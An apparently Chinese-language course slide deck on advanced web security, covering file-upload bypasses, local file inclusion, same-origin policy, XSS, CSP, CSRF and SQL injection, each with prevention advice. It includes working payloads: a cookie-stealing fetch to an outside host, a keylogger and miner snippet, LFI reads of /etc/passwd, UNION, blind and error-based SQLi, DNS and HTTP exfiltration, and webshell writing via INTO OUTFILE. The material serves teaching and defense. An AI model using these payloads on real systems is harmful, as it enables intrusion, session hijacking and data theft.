

# Web Security

Advanced

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# Outline

- Common vulnerabilities (cont'd)
- Front-end Security
- SQL Injection Advanced

# File Upload Vulnerability

- Web 的世界
  - File-based
  - Route-based
  - Java-based
- 上傳 Webshell、惡意文件


# File Upload Vulnerability

- 怎麼防?
  - 前端防禦?
  - 白名單? 黑名單?
  - Magic Number?



# 上傳 - 前端檢查?

- Javascript 檢查上傳檔案?
  - Disable Javascript (Browser)
  - Use Proxy (Burp Suite, ...)










# 上傳 - Magic Number檢查?

- Magic Number
  - 用來標示檔案格式的幾個 Bytes
  - 圖片、影片、執行檔等都有獨特的 Magic Number

```
00000000 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 02 00 3E 00 01 00 00 00 A0 49 40 00 .ELF. ....>.....I@.
0000001C 00 00 00 00 40 00 00 00 00 00 00 00 38 E7 01 00 00 00 00 00 00 00 40 00 38 00 ....@.....8.....@.8.
00000038 09 00 40 00 1D 00 1C 00 06 00 00 00 05 00 00 00 40 00 00 00 00 00 40 00 40 00 ..@.....@.....@.@.
00000054 00 00 00 00 40 00 40 00 00 00 00 00 F8 01 00 00 00 00 00 00 F8 01 00 00 00 00 00 ....@.@.....
00000070 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 38 02 00 00 00 00 00 38 02 40 00 .....8.....8.@.
0000008C 00 00 00 00 38 02 40 00 00 00 00 00 1C 00 00 00 00 00 00 1C 00 00 00 00 00 00 00 ....8.@.....
000000A8 01 00 00 00 00 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 40 00 .....@.....
000000C4 00 00 00 00 00 00 40 00 00 00 00 00 64 DA 01 00 00 00 00 64 DA 01 00 00 00 00 00 ....@.....d.....d.....
000000E0 00 00 20 00 00 00 00 00 01 00 00 00 06 00 00 00 00 DE 01 00 00 00 00 00 DE 61 00 .. .....a.
000000FC 00 00 00 00 00 DE 61 00 00 00 00 00 00 08 00 00 00 00 00 68 15 00 00 00 00 00 ....a.....h.....
00000118 00 00 20 00 00 00 00 00 02 00 00 00 06 00 00 00 18 DE 01 00 00 00 00 18 DE 61 00 .. .....a.
00000134 00 00 00 00 18 DE 61 00 00 00 00 00 E0 01 00 00 00 00 00 00 00 E0 01 00 00 00 00 ....a.....
```

# 上傳 - Magic Number檢查?

- PHP 是內嵌式語言，其餘部分不影響解析
- 構造 [Image Magic Number] + [<?php xxxxx ?>]



# 上傳 - 黑名單檢查?

- 使用黑名單判斷副檔名

PHP

```
$tmp = $_FILES['f']['tmp_name'];  
$dest = $_FILES['f']['name'];  
$ext = pathinfo($dest, PATHINFO_EXTENSION);  
if( $ext === 'php' ) die('Bye!');  
move_uploaded_file($tmp, $dest);
```

# 上傳 - 黑名單檢查?

- 常見繞過手法
  - 大小寫：a.pHP, a.AsPx (Windows Only)
  - 空白結尾：a.php[空白] (Windows Only)
  - 特殊副檔名：phtml, php4, php5, ...
  - .htaccess 自訂解析規則

# 上傳 - 黑名單檢查?

- 補充: Apache 解析漏洞
  - a.php.kaibro
  - 看到不認識的副檔名，會自動往前找認識的
    1. 副檔名 kaibro ? 不認識
    2. 往前找到 php
    3. 好ㄟ ~ 那就把它當php解析吧

# 上傳 - 黑名單檢查?

- 補充: Apache 解析漏洞
  - 嚴格來說跟版本無關
  - 設定檔配置問題 (但高版本設定檔預設是正常的)
  - `AddType application/x-httpd-php .php`



# 那到底怎麼防？

- 不要重複造輪子
- 前端檢查配後端驗證
- 白名單取代黑名單



Lab 0x01 - sh3ll\_upload3r


# Local File Inclusion

- 簡稱 LFI
- 任意 include 使用者指定的檔案
  - 遍歷檔案
  - 執行程式碼

# Local File Inclusion

- 以 PHP 來說，常見於以下函數
  - `include()`
  - `require()`
  - `include_once()`
  - `require_once()`


# 來點



PHP

```
$module_path = $_GET['module'];  
include($module_path);
```






```
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
20 systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
21 systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
22 systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
23 syslog:x:104:108::/home/syslog:/bin/false
24 _apt:x:105:65534::/nonexistent:/bin/false
25 lxd:x:106:65534::/var/lib/lxd:/bin/false
26 messagebus:x:107:111::/var/run/dbus:/bin/false
27 uidd:x:108:112::/run/uidd:/bin/false
28 dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
29 sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
30 pollinate:x:111:1::/var/cache/pollinate:/bin/false
31 ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
32 postfix:x:112:118::/var/spool/postfix:/bin/false
33
```

module=**/etc/passwd**

```
view-source:kaibro.tw/lfi.php?r x +
← → ↻ ⓘ 不安全 | view-source:kaibro.tw/lfi.php?module=/etc/apache... ☆ 無痕模式
1 # This is the main Apache server configuration file. It contains the
2 # configuration directives that give the server its instructions.
3 # See http://httpd.apache.org/docs/2.4/ for detailed information about
4 # the directives and /usr/share/doc/apache2/README.Debian about Debian specific
5 # hints.
6 #
7 #
8 # Summary of how the Apache 2 configuration works in Debian:
9 # The Apache 2 web server configuration in Debian is quite different to
10 # upstream's suggested way to configure the web server. This is because Debian's
11 # default Apache2 installation attempts to make adding and removing modules,
12 # virtual hosts, and extra configuration directives as flexible as possible, in
13 # order to make automating the changes and administering the server as easy as
14 # possible.
15
16 # It is split into several files forming the configuration hierarchy outlined
17 # below, all located in the /etc/apache2/ directory:
18 #
19 # /etc/apache2/
20 # |-- apache2.conf
21 # |   |-- ports.conf
22 # |   |-- mods-enabled
23 # |       |-- *.load
24 # |       |-- *.conf
25 # |   |-- conf-enabled
26 # |       |-- *.conf
27 # |   |-- sites-enabled
28 # |       |-- *.conf
29 #
30 #
31 # * apache2.conf is the main configuration file (this file). It puts the pieces
32 # together by including all remaining configuration files when starting up the
33 # web server.
34 #
35 # * ports.conf is always included from the main configuration file. It is
36 # supposed to determine listening ports for incoming connections which can be
37 # customized anytime.
38 #
39 # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
```

module=/etc/apache2/  
apache2.conf





module=php://filter/  
convert.base64-encode/  
resource=lfi.php



# Read Source Code

- 直接 include php 檔案，會被解析
- 善用 php wrapper
  - `php://filter/convert.base64-encode/resource=index.php`
  - `php://filter/read=string.rot13/resource=index.php`

# Read Config

- 常見設定檔

- `/etc/apache2/apache2.conf`
- `/etc/nginx/nginx.conf`
- `/etc/apache2/sites-available/000-default.conf`
- `/etc/php/php.ini`

# Read /proc/\*

- /proc/self/cmdline      執行時的 Command
- /proc/self/exe      撈執行檔 (可以串 reverse/pwn)
- /proc/self/environ      環境變數
- /proc/self/fd/\*      filedescriptor
- . . . . .

# RCE Tricks

- 當 **Session** 內容部分可控
  - `/var/lib/php/sessions/sess_[session id]`
- 當存在 **phpinfo** 時
  - 硬傳檔案 + Race condition
- **access.log / error.log** 可讀時
  - 寫 User-Agent / URL



# Lab 0x02 - EzLFI

# Front-end Security

# Same Origin Policy (SOP)

- 同源政策
- 瀏覽器內建的安全策略之一
- 不同域的客戶端無法讀取彼此的資源
  - 同域 = 同協議 + 同域名 + 同端口

a.txt




b.txt

Server A

Server B






# Compare with <http://kaibro.tw>

URL	同域?	原因
<a href="https://kaibro.tw">https://kaibro.tw</a>	No	協議不同
<a href="http://gg.kaibro.tw">http://gg.kaibro.tw</a>	No	域名不同
<a href="http://www.kaibro.tw">http://www.kaibro.tw</a>	No	域名不同
<a href="http://kaibro.tw:5278">http://kaibro.tw:5278</a>	No	端口不同
<a href="http://kaibro.tw/flag">http://kaibro.tw/flag</a>	Yes	協議/域名/端口同

好像哪裡怪怪der . . .





LINE購物

buy.line.me

LINE購物

首頁 美妝保養 流行服飾 居家生活 美食生鮮 運動戶外 鞋包配飾 婦幼童裝

iphone 11 pro 搜尋比價

熱門: airpods 2 小米手環4 iphone 11 pro coach手拿包 mycard點數 iphone 8 plus

img.responsiveImg 168 x 168

130元

10%

12%

8%

5% 瘋加碼

Elements

```
<ul class="sliderSmall-list">
  <li class="sliderSmall-item">
    <a href="https://buy.line.me/t/?url=GVBRZVXt29AZ7P9iLRRwM7o994dY_B8l_2IZq6HncDg...
    ...
     == $0
  </li>
</ul>
```


168 x 168 pixels (intrinsic: 336 x 336 pixels)

html body #app div div div div.horizontal-scrollable ul.sliderSmall-list li.sliderSmall-item a.sliderSmall-link img.responsiveImg

buy.line.me

不同源

obs.line-scdn.net



# 凡事總有例外

- `<script>`
- `<img>`
- `<link>`
- `<iframe>`
- ...

下面是一些能跨來源嵌入的資源：

- `<script src="..."></script>`內的Javascript，但語法錯誤訊息只限於同源程式碼腳本。
- CSS的`<link rel="stylesheet" href="...">`，由於CSS寬鬆語法規則，跨來源CSS要求正確的Content-Type標頭。限制在瀏覽器間各有差異：[IE](#), [Firefox](#), [Chrome](#), [Safari](#) (請至CVE-2010-0051)以及[Opera](#)。
- `<img>`的影像；支援格式有PNG, JPEG, GIF, BMP, SVG等等
- `<video>`和`<audio>`媒體檔案
- `<object>`, `<embed>`和`<applet>`的外掛
- `@font-face` 的字型；有些瀏覽器允許跨來源字型，有些則不。
- `<frame>`以及`<iframe>`中的內容；如果一個網站想要避免跨來源載入互動，可以藉由`X-Frame-Options`標頭避免。



# JSONP

- JSON with Padding
- 就是利用 `<script>` 可以跨域的特性來傳 JSON 資料

JSON

```
{  
  "roses": "red",  
  "violets": "blue",  
  "grass": "green"  
}
```

JSONP

P for padding

```
grab({  
  "roses": "red",  
  "violets": "blue",  
  "grass": "green"  
})
```

# JSONP

- JSON with Padding
- 就是利用 `<script>` 可以跨域的特性來傳 JSON 資料

JSON

```
{  
  "roses": "red",  
  "violets": "blue",  
  "grass": "green"  
}
```

不合JS語法

JSONP

P for padding

```
grab({  
  "roses": "red",  
  "violets": "blue",  
  "grass": "green"  
})
```

合法JS

# Cross-Origin Resource Sharing

- CORS (Cross-Origin Resource Sharing)
- 標示一些 HTTP Header 來控管跨域請求






# Cross-Origin Resource Sharing

- 根據請求內容，可以分成簡單請求和非簡單請求
- 但概念都類似
  - 請求跨域資源會自動帶上特殊 Header
  - 由伺服器決定是否允許跨域請求，並回以對應 Header
- <https://developer.mozilla.org/zh-TW/docs/Web/HTTP/CORS>

# XSS

- Crossing Site Scripting (XSS)
- 讓受害者客戶端 (通常是瀏覽器) 執行惡意 JavaScript



## vs. Java

...ion, not compiled like Java

...and rules

...like Python

...to be declared



+



= JavaScript

...exceptions)

...ion rather than the class

...e used in many situations

...e and integrates with its HTML/CSS content





https://kaibro.tw/?error=Login%20failed!

username

\*\*\*\*\*

Login

Error: Login failed!



https://kaibro.tw/?error=<script>alert(1)</script>

kaibro.tw 顯示:

1

確定

\*\*\*\*\*

Login

Error:

# Why alert(1)?

- 方便測試者判斷是否成功執行JS
- 可以把 alert 換成任意 JS Code

# 分類

- Reflected XSS
- Stored XSS
- DOM XSS

# Reflected XSS

- 網頁直接輸出使用者的輸入內容
- 輸出被當作 HTML/JS 解析

A blue icon representing a PHP file, with the letters "PHP" in white inside a rounded rectangle.

PHP


```
echo "Your input:" . $_GET["q"];
```

```
/?q=<script>alert(1)</script>
```



# Stored XSS


- 輸入內容被**保存在資料庫中**
- 其他使用者訪問就會執行惡意JS
- 常見於留言板等功能



# DOM XSS

- DOM: Document Object Model
- JavaScript 在處理 DOM Tree 時，導致的 XSS
- 發生場景：瀏覽器 JavaScript 執行過程中

# DOM XSS 🍎



```
eval(location.hash.substr(1));
```

- index.html#alert(1)
- Fragment 不會傳到 Server，只在瀏覽器解析執行

# 更多變形

- mXSS
- UXSS
- XSSI
- Electron XSS to RCE
- . . . . .



# How to prevent XSS?

- 過濾掉輸入的 `<script> </script>` ?







太天真了!

# More XSS Payload !

- `<img src=@ onerror=alert(1)>`
- `<svg/onload=alert(1)>`
- `<body onload=alert(1)>`
- ....




# How to prevent XSS?

- 過濾掉輸入的 ~~<script></script>~~?
- Escaping Output
- Validating Input
- 瀏覽器自帶保護功能



# XSS 利用


- 偷 Cookie



```
fetch("http://kaibro.tw/?x="+btoa(document.cookie));
```

# XSS 利用


- Key logger



```
document.onkeypress = function(e) {  
    console.log(e.key);  
}
```

# XSS 利用

- 還有前陣子很潮的挖礦



```
var miner = new CoinHive.User('SITE_KEY', 'kaibro');  
miner.start();
```

# XSS 利用

- 更多玩法
  - 截圖
  - 生成釣魚頁面
  - 持久化 XSS - 安裝 Service Worker
  - ...



# Blind XSS

- 盲打
- 用 XSS 打你看不到頁面
- 常見場景
  - 網站後台
  - 問題回報
  - CTF



# 提交請求

您有任何需要協助的地方嗎？

我要回報系統異常或錯誤訊息

Platform <sup>\*</sup>

-

iOS, Android or Web?

請提供更多資料 <sup>\*</sup>

安安

```
<script>fetch("http://kaibro.tw/"+btoa(document.cookie))</script>
```

電子郵件地址 <sup>\*</sup>

# XSS 進階玩法

- ES6 特性

- `alert`1``

- `eval.call`${'alert\x281)'}``

- Polyglot XSS

- 只用5個字元的JavaScript: [Slide Link](#)



# XSS 練功房

- [Cure53 XSS Wiki](#)
- [xss.shift-js.info](#)
- [prompt.ml/0](#)





有沒有瀏覽器層的保护？

A white cat is shown from the chest up, reaching its front paws upwards towards two red labels. The cat's head is tilted back, and its whiskers are visible. The background consists of a light-colored wall on the left and dark blue curtains on the right. The labels are red with white text and are tilted at an angle.


CSP

XSS Auditor




# XSS Auditor / Filter


- 透過 Rewrite / Filter 等方式阻擋 XSS Attack
- 不同瀏覽器有各自的實作方式



XSS Filter



NoScript Add-on



XSS Auditor

# XSS Auditor / Filter

- 可以透過 **X-XSS-Protection** Header 來控制

Value	Effect
0	Disable
1	Enable (Partial rewrite)
1;mode=block	Enable (Prevent rendering)



# XSS Auditor / Filter

- XSS 太難防
- Chrome 74 從 Block mode 轉成 Filter mode
- **Chrome 78** 完全移除 XSS Auditor

[For Developers](#) > [Design Documents](#) >

## XSS Auditor


**Note:** [An Intent to Deprecate and Remove the XSS Auditor](#) was published on 15-July-2019. The feature was [permanently disabled](#) on 5-August-2019 and shortly after fully [removed](#) for **Chrome 78**.

# CSP

- Content Security Policy
- 透過一組 Response Header 限制瀏覽器的資源載入

▼ Response headers (323 B)		
Date:	Fri, 20 Oct 2017 08:41:01 GMT	<a href="#">[Learn More]</a>
Content-Type:	text/html; charset=utf-8	<a href="#">[Learn More]</a>
Server:	Kestrel	<a href="#">[Learn More]</a>
Transfer-Encoding:	chunked	<a href="#">[Learn More]</a>
<u>Content-Security-Policy:</u>	<u>script-src 'self'; style-src 'self'; img-src 'self'</u>	<a href="#">[Learn More]</a>
X-Content-Type-Options:	nosniff	<a href="#">[Learn More]</a>
X-Frame-Options:	SAMEORIGIN	<a href="#">[Learn More]</a>
X-Content-Security-Policy:	default-src *	
► Request headers (409 B)		

# CSP Header



# CSP Directive

Directive	說明
default-src	資源預設載入策略
script-src	JS載入策略
img-src	圖片載入策略
frame-src	frame載入策略
.....	.....

# CSP Source

Source value	說明
'self'	只允許同域資源
'none'	不允許任何資源
kaibro.tw	只允許指定域名資源
*	任何資源 (除了data: 等協議)
.....	.....



# CSP 安全性檢測

- Google - CSP Evaluator
- <https://csp-evaluator.withgoogle.com>

Evaluated CSP as seen by a browser supporting CSP Version 3		<a href="#">expand/collapse all</a>
✓ <b>default-src</b>		▼
🔒 <b>script-src</b>	Consider adding 'unsafe-inline' (ignored by browsers supporting nonces/hashes) to be backward compatible with older browsers.	▼
✓ <b>frame-src</b>		▼
✓ <b>style-src</b>		▼
✓ <b>font-src</b>		▼
✓ <b>img-src</b>		▼
❗ <b>base-uri</b> [missing]	Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?	▼

# CSP Bypass

- CTF常考題型
  - 繞 self：找上傳點 (polyglot image/video ...)
  - 塞 <base>：控制資源載入的域 (相對路徑)
  - 褻玩第三方服務：Google Analytics ea、CDN
  - Script Gadget

# Script Gadget

```
<div data-role="button"  
data-text="&lt;script&gt;alert(1)&lt;/script&gt;"></div>
```

```
<script>  
  var buttons = $("[data-role=button]");  
  buttons.html(button.getAttribute("data-text"));  
</script>
```

Script Gadget



```
<div data-role="button" ... ><script>alert(1)</script></div>
```

# Script Gadget

奇技淫巧

Script Gadget

```
<div data-role="button"  
data-text="&lt;script&gt;al
```

```
<script>  
var but  
but  
</scri
```

```
<div data-...="button" ... ><script>alert(1)</script></div>
```

# CSRF

- 全名 Cross-site Request Forgery
- 使其他使用者觸發非預期請求
- 舉例：
  - ``
  - 當使用者訪問，就會送出 logout 的請求




# CSRF

- 假設今天網站後台的刪除使用者連結長這樣:
  - <http://website/user/1/delete>
  - <http://website/user/2/delete>
- 只要讓 admin 送出相同請求，就能任意刪使用者

# CSRF

- Why?
  - 因為這些請求會帶上 Cookie
  - 伺服器沒辦法分辨是不是使用者主動發起的請求




# CSRF 防禦

- Server Side
  - CSRF Token
  - 每次訪問生成一個隨機 Token，請求需夾帶此 Token
- Client Side
  - SameSite cookie
  - Strict mode 下，跨域請求都不帶 Cookie

# Bad News

- Chrome 80 將預設採用 SameSite=Lax





# SQL Injection Advanced

A meme featuring Woody and Buzz Lightyear from the movie Toy Story. Woody is on the left, looking concerned. Buzz is on the right, looking excited and gesturing with his right hand. The background is a simple room with a door and a window.

**SQL INJECTION**

**SQL INJECTION EVERYWHERE**

makeameme.org

未特別說明，都以 MySQL 為例

# SQL Injection 檢測方式

- 判斷型態

- 數字： id=**123**

- 字串： id=**admin**



# SQL Injection 檢測方式

- 數字

- id=123\*1


- id=123/0

- id=123 and 2=2

- id=123 and 2=3

# SQL Injection 檢測方式

- 字串 (以單引號為例)
  - id=admin'
  - id=admin'%2b'
  - id=admin' and '1'='1
  - id=admin' and '1'='2




通常塞單(雙)引號噴錯，99%就是有洞

# Target?

- 主要有幾種用途
  - 繞過驗證
  - 撈資料庫內容
  - 取得系統權限 (讀檔、RCE、...)

# Bypass Authentication

- 上禮拜內容
- 萬用密碼
  - 'or 1=1 --
  - 'or''='
  - "or""="





# Data Exfiltration

- 撈資料方式可以分成幾種
  - UNION-Based
  - Boolean-Based
  - Time-Based
  - Error-Based
  - Out-of-Band-Based

# Data Exfiltration

- 撈資料方式可以分成幾種
  - UNION-Based
  - Boolean-Based
  - Time-Based
  - Error-Based
  - Out-of-Band-Based

# news.php

```
SELECT * FROM news
```

id	title	content
1	Hello	World
2	Brasov	Bucharest

# news.php?id=1

```
SELECT * FROM news WHERE id=1
```

id	title	content
1	Hello	World
2	Brasov	Bucharest

news.php?id=1  
UNION SELECT 1,2,3

SELECT \* FROM news WHERE id=1  
UNION SELECT 1,2,3

id	title	content
1	Hello	World
2	Brasov	Bucharest
1	2	3



news.php?id=-1

UNION SELECT 1,2,3

SELECT \* FROM news WHERE id=-1  
UNION SELECT 1,2,3


id	title	content
1	2	3

news.php?id=-1

UNION SELECT 1,user(),3

SELECT \* FROM news WHERE id=-1  
UNION SELECT 1,user(),3


id	title	content
1	kaibro@localhost	3



2

3






kaibro@localhost

3





\*66A3078BD929479CB58

3





```
SELECT 欄位名 FROM 庫名.表名 WHERE 條件
```



所以我說那個表名、欄位名呢

# INFORMATION\_SCHEMA



# information\_schema

- MySQL  $\geq$  5.0
- Database Metadata
- 存放伺服器維護的所有資料庫相關訊息
  - 包含資料庫名、表名、欄位名

# information\_schema

- 本身也是一個 Database
- 庫名、表名等資訊放在裡面的資料表中

```
+-----+
| Tables_in_information_schema |
+-----+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+-----+
```



# information\_schema

- 資料庫名存放在
  - `information_schema.schemata`
- 表格名存放在
  - `information_schema.tables`
- 欄位名存放在
  - `information_schema.columns`

# information\_schema

- 撈資料庫名

- select **schema\_name** from **information\_schema.schemata**

- 撈表格名

- select **table\_name** from **information\_schema.tables**

- 撈欄位名

- select **column\_name** from **information\_schema.columns**



```
mysql> select * from information_schema.schemata;
```

CATALOG_NAME	SCHEMA_NAME	DEFAULT_CHARACTER_SET_NAME	DEFAULT_COLLATION_NAME	SQL_PATH
NULL	information_schema	utf8	utf8_general_ci	NULL
NULL	mysql	latin1	latin1_swedish_ci	NULL
NULL	news	latin1	latin1_swedish_ci	NULL
NULL	test	latin1	latin1_swedish_ci	NULL

```
4 rows in set (0.00 sec)
```

# 撈庫名

```
SELECT * FROM news WHERE id=-1  
UNION SELECT 1,schema_name,3  
FROM information_schema.schemata
```

id	title	content
1	information_schema	3

# 撈庫名

```
SELECT * FROM news WHERE id=-1  
UNION SELECT 1,schema_name,3  
FROM information_schema.schemata  
limit 1,1
```

id	title	content
1	mysql	3



# 撈表名

```
SELECT * FROM news WHERE id=-1  
UNION SELECT 1,table_name,3  
FROM information_schema.tables  
WHERE table_schema='mysql'
```

id	title	content
1	user	3

# 撈欄位名

```
SELECT * FROM news WHERE id=-1
UNION SELECT 1,column_name,3
FROM information_schema.columns
WHERE table_name='user'
```

id	title	content
1	password	3

# 撈資料

```
SELECT * FROM news WHERE id=-1  
UNION SELECT 1,password,3  
FROM mysql.user
```

id	title	content
1	*66A307...	3



在崑山科技大學 Kun Shan University 打卡。



10月19日下午1:09 · 台南市 · 2人

金盾初賽有夠酷喔

先來一堆考Policy Standard的學科

不過這感覺是常態就算了

術科有Pwn Reverse Web Crypto Misc

Pwn是一個會被已經關掉的Windows Defense一直刪掉的檔案 搞到後來都在當Forensic 在解 一直在找檔案

Reverse 沒看

Web 是DVWA改的，先改cookie能進SQLi介面，SQL沒有cheatsheet也沒有tool，完全忘了那張可以看field跟table的metadata table的名字。只好開始通table name，戳一戳真的戳到users這個表；接下來就通field，戳到user,password,flag三個欄位，然後就拿到flag了，然後一直送不過，最後發現要把Flag格式裡面的東西拔出來送

Crypto給了一串01010，兩組據說是key的東西，一組是Brainfuck，另一組是豬圈密碼。對，那個沒人會背的豬圈密碼，然後又沒網路查，所以無解。給的那串01010據說長度還不是八的倍數

Misc是拼拼圖，然後你的工具只有小畫家，然後怎麼拼丟去解碼軟體都解不開，有人解開的要分享一下怎麼解的嗎

喔，忘了說，解題平台是cdx，不是很快就算了，畢竟不少人在用，但是解到一半黑屏死機然後也沒有額外時間我也是醉了(

# Differences with other DBMS

- UNION 後的 Column 型態必須相同
  - MySQL 會自動轉型
  - 小技巧: 使用 **NULL**
- Oracle 的 SELECT 必須要有來源
  - 可使用 Dummy table - **dual** 來避免



# Lab 0x03 - EasyPeasy

# Data Exfiltration



- 撈資料方式可以分成幾種
  - UNION-Based
  - Boolean-Based
  - Time-Based
  - Error-Based
  - Out-of-Band-Based

# Boolean-Based SQL Injection

- 有時候資料庫查詢不會顯示任何資料
  - 例如：登入介面
- UNION Based 撈出來也看不到

# Boolean-Based SQL Injection

- Boolean (True/False)
- 雖然資料沒顯示，但有明確的正確和錯誤
  - Query 成功: 頁面正常
  - Query 失敗: 頁面噴錯、空白、提示不存在





# Boolean-Based SQL Injection

- 玩弄 **True** / **False** 來取得資訊
  - SELECT \* FROM user WHERE id = 1 **True**
  - SELECT \* FROM user WHERE id = -1 **False**
  - SELECT \* FROM user WHERE id = 1 and 1=1 **True**
  - SELECT \* FROM user WHERE id = 1 and 1=2 **False**

# Boolean-Based SQL Injection

- 玩弄 **True** / **False** 來取得資訊
  - `id = 1 and select ascii(mid(user(), 1, 1))>0` **True**
  - `id = 1 and select ascii(mid(user(), 1, 1))>80` **False**
  - .....
  - 可以二分搜加速

# Boolean-Based SQL Injection

- 小技巧

- MySQL 有正規表達式可以用

- `id=87 and ((select user()) regex binary '[a-z]')`

# Data Exfiltration

- 撈資料方式可以分成幾種
  - UNION-Based
  - Boolean-Based
  - Time-Based
  - Error-Based
  - Out-of-Band-Based

# Time-Based SQL Injection

- 頁面沒有任何資訊能判斷 SQL 執行結果
- 把 True / False 改成時間差判斷
- 製造時間差
  - MySQL: `sleep()` / `benchmark()` / Heavy Query
  - PostgreSQL: `pg_sleep()` / `repeat()`
  - MSSQL: `WAIT FOR DELAY '0:0:10'`



# Time-Based SQL Injection

- 條件成立時，睡個幾秒

- id = 1 and if(ascii(mid(user(),1,1))>0, sleep(5), 1)=1

- id = 1 and if(ascii(mid(user(),1,1))>80, sleep(5), 1)=1

- ...

# Data Exfiltration

- 撈資料方式可以分成幾種
  - UNION-Based
  - Boolean-Based
  - Time-Based
  - Error-Based
  - Out-of-Band-Based

# Error-Based SQL Injection

- 故意製造錯誤訊息，並將資料置於其中
- 缺點
  - 伺服器可能關掉錯誤顯示
  - 錯誤訊息通常有長度限制

Conversion failed when conver... x Conversion failed when conver... x +

www.timescanindia.in/Product.aspx?Id=7 and @@version=1--

Search

## Server Error in '/' Application.

*Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2012 (SP1) - 11.0.3000.0 (X64)' to data type int.*

*Oct 19 2012 13:38:57*  
*Copyright (c) Microsoft Corporation*  
*Web Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)*

**Description:** An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

**Exception Details:** System.Data.SqlClient.SqlException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2012 (SP1) - 11.0.3000.0 (X64)

INT SQL BASICS UNION BASED ERROR / DOUBLE QUERY WAF BYPASS ENCODING ENCRYPTION OTHER XSS

Load URL Split URL Execute

http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select\*from(select user())x)~0-- -&Submit=Submit#

☐ Post data ☐ Referrer ☐ Base64 0xHEX %URL

BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

# MySQL Error-based

- 想辦法讓他噴錯誤
- `SELECT exp(~(SELECT * FROM (SELECT user())x));`

ERROR 1690(22003):DOUBLE value is out of range in  
'exp(~((SELECT 'root@localhost' FROM dual)))'

# Data Exfiltration

- 撈資料方式可以分成幾種
  - UNION-Based
  - Boolean-Based
  - Time-Based
  - Error-Based
  - Out-of-Band-Based



# Out-of-Band SQL Injection

- 將資料透過網路往外傳
- 優點：
  - 解決 Boolean / Time based 過於緩慢的問題
  - 不能用 Error/Union based 時的好選擇
- 缺點：
  - DBMS 必須支援，且主機需可以連外網

# MySQL Out-of-Band

- Windows Only
  - DNS Log
  - `load_file(concat("\\\\", password, ".kaibro.tw/a"))`

# Oracle Out-of-Band

- UTL\_HTTP
  - HTTP Request
  - `url_http.request('http://kaibro.tw/' || (select user from dual))`


# SQL Injection to RCE

- MySQL
  - 讀寫檔
  - LOAD\_FILE() / INTO OUTFILE / INTO DUMPFILE / general\_log
- MSSQL
  - xp\_cmdshell
  - MSSQL 2005後，預設關閉 (sa權限下可sp\_configure重啟)

# SQL Injection to RCE

- MySQL
  - 讀檔： `load_file('/etc/passwd')`
  - 寫檔： `select "<?php phpinfo();?>" INTO OUTFILE  
"/www/a.php"`
- 權限要夠
  - FILE權限、secure-file-priv、...

# ATTACK OVERVIEW





# Tool - SQLMAP

- 使用簡單
- 功能強大
  - 支援多種 DBMS
  - 內建各種WAF繞過腳本
- 免費、開源

```

      _
  ____ _ _ | | _ _ _ _ _ _ _ _ {1.0-dev-35ebbe2}
 | _ | . | | | | | . ' | . |
 | _ | _ | | | | | | _ , | _ |
      | _ |          | _ | http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
y all applicable local, state and federal laws. Developers assume
program

[*] starting at 05:19:37

[05:19:37] [INFO] fetched random HTTP User-Agent header from file
t': 'Opera/9.21 (Windows NT 5.0; U; de)'
[05:19:37] [INFO] resuming back-end DBMS 'mysql'
```



**WHEN YOU USE SQLMAP**

**HACKERMAN**




# Prevent SQL Injection

- Prepared Statement + Parameterized Queries

PHP

```
$stmt = $pdo->prepare('SELECT * FROM user WHERE name = :name');  
$stmt->execute(array('name' => $name));  
foreach ($stmt as $row) {  
